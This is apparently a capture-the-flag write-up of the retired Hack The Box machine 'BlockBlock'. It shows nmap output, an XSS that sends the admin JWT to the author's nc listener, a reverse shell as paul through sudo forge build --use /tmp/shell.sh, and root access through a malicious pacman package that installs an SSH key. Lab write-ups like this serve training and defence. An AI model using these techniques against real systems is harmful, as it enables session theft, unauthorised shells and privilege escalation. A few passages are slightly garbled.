BlockBlock is a linux hard machine created by . The report user feature is vulnerable to XSS. Got the admin JWT token by exploiting XSS and admin account is accessed. The blockchain block can be viewed and one of the block contains the keira user password. The keira user can run forge command as a paul which is vulnerable to RCE and exploitable to gain the paul user reverse shell. The paul has a sudo privilege to run the pacman command which is package manager for arch linux. The malicious package is created to privilege escalate to root using pacman.
OS
Difficulty
Points
Release Date
Retired Date
Linux
Hard
40
16-11-2024
29-03-2025
Enumeration
Nmap
Starting the nmap scan and found ssh and http services running.
nmap -Pn -sC -sV --min-rate=1000 10.10.11.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 10:40 EDT
Nmap scan report for 10.10.11.43
Host is up (0.95s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-title: Home - DBLC
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.36 seconds
Web - Port 80
The port80 is hosting the Decentralized Chat app where the ethereum is used for making chat application .
Visiting the Chat and Profile endpoints without login gives us the {"msg":"Missing cookie "token""} message. The Register and Login endpoints provides us the form for registration and login.
Registering, gives us the access to the chat and profile endpoints. The chat has a messaging and reporting user features. The BOT sends us the greetings message in secure blockchain chat app. The profile shows the username, role and recentmessages history. Currently I have a user role.
Sending message doesn't do anything and intercepting the request shows the JWT token.
The chat endpoints gives us link to the smart contracts. The two smart contract Chat.sol and Database.sol is present. The Chat.sol is used for handling chats and Database.sol is used database.
File - Database.sol
Database.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;
interface IChat {
function deleteUserMessages(string calldata user) external;
}
contract Database {
struct User {
string password;
string role;
bool exists;
}
address immutable owner;
IChat chat;
mapping(string username => User) users;
event AccountRegistered(string username);
event AccountDeleted(string username);
event PasswordUpdated(string username);
event RoleUpdated(string username);
modifier onlyOwner() {
if (msg.sender != owner) {
revert("Only owner can call this function");
}
_;
}
modifier onlyExistingUser(string memory username) {
if (!users[username].exists) {
revert("User does not exist");
}
_;
}
constructor(string memory secondaryAdminUsername,string memory password) {
users["admin"] = User(password, "admin", true);
owner = msg.sender;
registerAccount(secondaryAdminUsername, password);
}
function accountExist(string calldata username) public view returns (bool) {
return users[username].exists;
}
function getAccount(
string calldata username
)
public
view
onlyOwner
onlyExistingUser(username)
returns (string memory, string memory, string memory)
{
return (username, users[username].password, users[username].role);
}
function setChatAddress(address _chat) public {
if (address(chat) != address(0)) {
revert("Chat address already set");
}
chat = IChat(_chat);
}
function registerAccount(
string memory username,
string memory password
) public onlyOwner {
if (
keccak256(bytes(users[username].password)) != keccak256(bytes(""))
) {
revert("Username already exists");
}
users[username] = User(password, "user", true);
emit AccountRegistered(username);
}
function deleteAccount(string calldata username) public onlyOwner {
if (!users[username].exists) {
revert("User does not exist");
}
delete users[username];
chat.deleteUserMessages(username);
emit AccountDeleted(username);
}
function updatePassword(
string calldata username,
string calldata oldPassword,
string calldata newPassword
) public onlyOwner onlyExistingUser(username) {
if (
keccak256(bytes(users[username].password)) !=
keccak256(bytes(oldPassword))
) {
revert("Invalid password");
}
users[username].password = newPassword;
emit PasswordUpdated(username);
}
function updateRole(
string calldata username,
string calldata role
) public onlyOwner onlyExistingUser(username) {
if (!users[username].exists) {
revert("User does not exist");
}
users[username].role = role;
emit RoleUpdated(username);
}
}
The above code creates the struct with password, role and exists. It contains the functions for registering user, updating role, changing password, deleting messages and so on.
I am going to get the admin JWT token. The cookie has the HttpOnly flag set, so the document.cookie doesn't gives us the cookie. The /app/info endpoint leaks the JWT token and I will be using script to fetch the token from the endpoint and send the request to my nclistener.
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.43 54374
POST / HTTP/1.1
Host: 10.10.16.34:8443
Connection: keep-alive
Content-Length: 316
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.10.11.43
Referer: http://10.10.11.43/
Accept-Encoding: gzip, deflate
{"role":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MzUxNzkyMCwianRpIjoiYjAzM2IxYjEtZTk4ZC00YWFlLWI5NzctMDllOThhMTRlNzI3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQzNTE3OTIwLCJleHAiOjE3NDQxMjI3MjB9.wcnpFL0HcVwyGlV0D2QmV92w7055AgILcMDU1P7PoPU","username":"admin"}
Changed the value of cookie using devtools and refreshed the page. Got the admin access.
Foothold
Shell - keira [ Getting Raw Blockchain ]
The admin panel is making /api/chat_addressGET request and /api/json-rpcPOST request.
Getting the block1 input and decoding it using cyberchef leaks the credentials of user keira.
The credentials is also used in ssh.
ssh keira@10.10.11.43
The authenticity of host '10.10.11.43 (10.10.11.43)' can't be established.
ED25519 key fingerprint is SHA256:Yxhk4seV11xMS6Vp0pPoLicen3kJ7RAkXssZiL2/t3c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.43' (ED25519) to the list of known hosts.
keira@10.10.11.43's password:
Last login: Tue Apr 1 07:46:45 2025 from 10.10.14.111
[keira@blockblock ~]$
Lateral Movement
Pillaging - keira [ user ]
The user keira has a privilege to run the foundry forge with sudo privilege as paul user which is present in paulhome directory.
[keira@blockblock ~]$ sudo -l
User keira may run the following commands on blockblock:
(paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
[keira@blockblock ~]$
Shell - paul [ RCE via forge ]
Forge is a command-line tool that ships with Foundry. Forge tests, builds, and deploys smartcontracts.
Methodology
The forgebuild contains the --use flag for specifying the solc version, or a path to a local solc, to build with. It can be used to specify the path to reverse shell file and forge will build with the reverse shell and the reverse shell is established in our nc.
Open nc listener and run the forgebuild with --use flag.
[keira@blockblock tmp]$ sudo -u paul /home/paul/.foundry/bin/forge build --use /tmp/shell.sh
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.43 46360
[paul@blockblock tmp]$ whoami
whoami
paul
[paul@blockblock tmp]$
Privilege Escalation
Pillaging - paul [ user ]
The paul is privileged to run the pacman cli as root which is the arch linux package manager same as apt on debian based linux distros.
[paul@blockblock ~]$ sudo -l
sudo -l
User paul may run the following commands on blockblock:
(ALL : ALL) NOPASSWD: /usr/bin/pacman
[paul@blockblock ~]$
Shell - root [ pacman privilege escalation ]
Methodology
Creating malicious package which is used to add our public SSH key to root authorized_keys file.
Previously the makepkg command created the .zst file. To install the package the pacman command is used.
[paul@blockblock tmp]$ sudo /usr/bin/pacman -U /tmp/privesc-1.0-1-any.pkg.tar.zst
sudo /usr/bin/pacman -U /tmp/privesc-1.0-1-any.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) privesc-1.0-1
Total Installed Size: 0.00 MiB
:: Proceed with installation? [Y/n] Y
Y
checking keyring...
checking package integrity...
loading package files...
checking for file conflicts...
checking available disk space...
:: Processing package changes...
installing privesc...
warning: directory permissions differ on /root/
filesystem: 700 package: 755
warning: directory permissions differ on /root/.ssh/
filesystem: 700 package: 755
[paul@blockblock tmp]$
5
Transfering id_rsa to our machine
The python3 is present in machine. So, I will be using pythonhttp server for serving the file.
[paul@blockblock tmp]$ python3 -m http.server
wget http://10.10.11.43:8000/id_rsa
--2025-04-02 07:18:20-- http://10.10.11.43:8000/id_rsa
Connecting to 10.10.11.43:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3381 (3.3K) [application/octet-stream]
Saving to: ‘id_rsa’
id_rsa 100%[========================================================================================>] 3.30K 15.5KB/s in 0.2s
2025-04-02 07:18:21 (15.5 KB/s) - ‘id_rsa’ saved [3381/3381]
Change the permission of id_rsa to 600.
chmod 600 id_rsa
6
Getting shell
ssh -i id_rsa root@10.10.11.43
Last login: Thu Nov 14 14:47:11 2024
[root@blockblock ~]# ls
root.txt scripts
[root@blockblock ~]#
Proof of Concept
The below video provides the PoC of BlockBlock machine.
The /api/json-rpc can be used to get the block details with the help of . function. Sending the request to /api/json-rpc with method as eth_getBlockByNumber gives us the information about the blocks.
The user.txt file contains the user flag
TheCyberSimon has created the post about privilege escalation using pacman.